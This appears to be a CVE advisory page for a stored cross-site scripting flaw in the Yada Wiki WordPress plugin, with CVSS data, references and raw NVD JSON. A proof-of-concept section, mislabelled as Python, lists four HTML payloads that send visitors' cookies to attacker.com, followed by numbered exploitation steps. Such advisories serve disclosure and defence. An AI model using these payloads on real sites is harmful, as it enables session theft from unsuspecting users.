CVE-2025-66094

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in dmccan Yada Wiki yada-wiki allows Stored XSS.This issue affects Yada Wiki: from n/a through <= 3.5.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Yada Wiki <= 3.5 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-66094 Yada Wiki Stored XSS PoC -->
<!-- 攻击者可在Wiki编辑页面提交以下恶意内容 -->

<!-- 方法1: 使用script标签 -->
<script>
  // 窃取用户Cookie并发送到攻击者服务器
  fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie));
</script>

<!-- 方法2: 使用img标签的onerror事件 -->
<img src=x onerror="fetch('https://attacker.com/log?data='+document.cookie)">

<!-- 方法3: 使用SVG标签 -->
<svg onload="fetch('https://attacker.com/collect?session='+document.cookie)">

<!-- 方法4: 使用事件处理器 -->
<body onload="fetch('https://attacker.com/steal?info='+btoa(document.cookie))">

<!-- 实际利用步骤: -->
<!-- 1. 登录WordPress（低权限用户即可） -->
<!-- 2. 编辑或创建Wiki页面 -->
<!-- 3. 在内容中插入上述任意一种XSS payload -->
<!-- 4. 保存页面 -->
<!-- 5. 当其他用户访问该页面时，恶意脚本自动执行 -->
<!-- 6. 用户Cookie被发送到攻击者控制的服务器 -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-66094
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-66094
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-66094/
[4] VulDB https://vuldb.com/cve/CVE-2025-66094
[5] https://patchstack.com/database/Wordpress/Plugin/yada-wiki/vulnerability/wordpress-yada-wiki-plugin-3-5-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-66094", "sourceIdentifier": "[email protected]", "published": "2025-12-30T17:15:43.057", "lastModified": "2026-04-23T15:35:21.773", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in dmccan Yada Wiki yada-wiki allows Stored XSS.This issue affects Yada Wiki: from n/a through <= 3.5."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('Cross-site Scripting') vulnerabilidad en Yada Wiki yada-wiki permite XSS Almacenado. Este problema afecta a Yada Wiki: desde n/a hasta 3.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/yada-wiki/vulnerability/wordpress-yada-wiki-plugin-3-5-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}